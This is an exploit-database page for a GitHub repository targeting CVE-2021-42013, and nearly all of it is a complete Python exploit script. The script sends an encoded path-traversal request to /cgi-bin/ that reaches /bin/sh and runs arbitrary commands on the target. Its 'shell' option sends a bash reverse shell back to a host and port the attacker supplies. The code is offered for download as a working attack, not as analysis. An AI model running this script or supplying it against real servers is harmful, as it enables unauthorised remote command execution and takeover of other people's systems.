Exploit database

GH-9334d36b79cd58a0f4336a277f0b8813

wvverez/cve-2021-42013

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2021-42013

50 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2
wvverez/cve-2021-42013Revision 866f8a6de9bf

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit.py

Python · 1,688 bytes
#!/usr/bin/env python3
# Coded by @wvverez

import sys
import socket
import re
if len(sys.argv) != 2:
    print(f"\n\n[i] Escribe la dirección ip:\npython3 {sys.argv[0]} 127.0.0.1")
    sys.exit(1)
def send_request(command):
    path = '/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh'
    host = sys.argv[1]
    port = 80
    body = f"echo Content-Type: text/plain; echo; {command}"
    content_length = len(body)
    request = (
        f"POST {path} HTTP/1.1\r\n"
        f"Host: {host}\r\n"
        f"User-Agent: request\r\n"
        f"Accept: */*\r\n"
        f"Content-Length: {content_length}\r\n"
        f"Content-Type: application/x-www-form-urlencoded\r\n"
        f"Connection: close\r\n"
        f"\r\n"
        f"{body}"
    )
    with socket.create_connection((host, port)) as s:
        s.sendall(request.encode())
        response = b""
        while True:
            chunk = s.recv(4096)
            if not chunk:
                break
            response += chunk
    final = response.decode(errors="ignore")
    output = re.search(r'text/plain\s*\r?\n\r?\n(.*)', final, re.DOTALL)
    print(output.group(1))
while True:
    try:
        command = input("[i] Escriba el comando a ejecutar o shell para enviar una reverse shell: ")
        if command == "shell":
            port = int(input("[i] Escriba el puerto donde quiere recibirla: "))
            host = input("[i] Escriba su ip: ")
            shell = f'bash -c "bash -i >& /dev/tcp/{host}/{port} 0>&1"'
            send_request(shell)
        else:
            send_request(command)
    except KeyboardInterrupt:
        print("\n\n[i] Saliendo...\n")
        sys.exit(1)